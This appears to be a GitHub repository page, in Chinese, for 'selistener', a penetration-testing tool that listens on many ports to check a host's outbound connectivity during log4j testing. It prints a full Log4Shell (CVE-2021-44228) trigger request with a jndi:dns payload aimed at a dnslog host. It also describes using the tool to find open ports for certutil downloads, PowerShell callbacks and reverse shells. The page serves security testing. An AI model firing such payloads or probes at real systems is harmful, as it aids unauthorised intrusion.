• Stars
    star
    116
  • Rank 303,894 (Top 6 %)
  • Language
    Go
  • Created almost 2 years ago
  • Updated over 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

用于解决判断出网情况的问题,以http、ldap、rmi以及socket形式批量监听端口,在web界面进行结果查看

搭配log4j2burpscanner参考这里

项目中的jar包为log4j(CVE-2021-44228)环境 触发漏洞的请求包为:

GET /cvetext?cmd=$%7bjndi:dns://xxxxx.dnslog.cn%7d HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

selistener

用于解决判断出网情况的问题,以http、ldap、rmi以及socket形式批量监听端口,在web界面进行结果查看,结果呈现形式类似dnslog,可用于内网log4j(CVE-2021-44228)等漏洞的检测,默认访问http://x.x.x.x:65535/resp即可查看到请求

  • http请求

image

  • ldap请求

image

  • rmi请求

image

用法:

-ps , ports start    端口组监听,开始
-pe , ports end      端口组监听,结束
-pn ,port ,exp:22,3306,8443  指定端口监听
-wp ,wport ,exp: 65535    指定端口运行http服务查看结果
-t, token, exp: f0ng  指定token
  • windows可直接运行
  • linux需要安装musl-libc-static
Ubuntu
apt install musl-tools


Centos
get https://copr.fedorainfracloud.org/coprs/ngompa/musl-libc/repo/epel-7/ngompa-musl-libc-epel-7.repo -O /etc/yum.repos.d/ngompa-musl-libc-epel-7.repo

yum install -y musl-libc-static

web页面进行查询

words参数,根据内容查询请求,exp: words=/index
ip参数,根据ip查询请求,exp: ip=127.0.0.1
port参数,根据端口查询请求,exp: port=8081
protocol参数,根据协议查询请求,exp: protocol=http

场景一

在log4j2(CVE-2021-44228)下,一般JNDIExpliot的1389等ldap的端口会禁止,那么可以使用该工具进行批量端口监听,然后在数据包内设置端口号为变量,查看端口通信接收情况(ldap),举例ldap监听情况(rmi同理):

image

场景二

在windows系统无法上传文件情况下,需要进行文件下载,如certutil落地文件、powershell上线等等,会遇到某些端口无法出网,可以将certuil探测的端口设置为变量,使用本工具进行监听,如下

image

场景三

在进行反弹shell的时候,有时会禁止一些目的端口访问,可以通过使用该工具进行批量端口监听,查看端口通信接收情况(socket)。

image

More Repositories

1

captcha-killer-modified

captcha-killer的修改版,支持关键词识别base64编码的图片,添加免费ocr库,用于验证码爆破,适配新版Burpsuite
Java
1,373
star
2

autoDecoder

Burp插件,根据自定义来达到对数据包的处理(适用于加解密、爆破等),类似mitmproxy,不同点在于经过了burp中转,在自动加解密的基础上,不影响APP、网站加解密正常逻辑等。
Java
863
star
3

log4j2burpscanner

CVE-2021-44228 Log4j2 BurpSuite Scanner,Customize ceye.io api or other apis,including internal networks
Java
793
star
4

poc2jar

Java编写,Python作为辅助依赖的漏洞验证、利用工具,添加了进程查找模块、编码模块、命令模块、常见漏洞利用GUI模块、shiro rememberMe解密模块,加快测试效率
Java
696
star
5

JavaFileDict

Java应用的一些配置文件字典,来源于公开的字典与平时收集
286
star
6

autoDecoder-usages

autoDecoder的用法及案例,包含加解密方法、绕waf、替换参数等操作。
Python
183
star
7

text4shellburpscanner

text4shell(CVE-2022-42889) BurpSuite Scanner
Java
20
star
8

ModifyNavigator

谷歌浏览器插件,自动修改电脑端浏览器的Navigator变成移动端Navigator
JavaScript
13
star
9

seeyon

Python
7
star
10

fastjsondnslog

Python
4
star
11

alfred-workflow

自用的一些alfred工作流
4
star
12

fileprocessing

file 处理
Python
4
star
13

JSLinkFinderDuplicateremoval

JSLinkFinder
Python
4
star
14

403bypass

Python
4
star
15

iptotext

Python
3
star
16

shiro_attack_https

Java
3
star
17

simpleplayer

simple android player
Java
2
star
18

f0ng

2
star
19

log4jscanner

log4j burp插件
Python
1
star
20

coremailleak

Python
1
star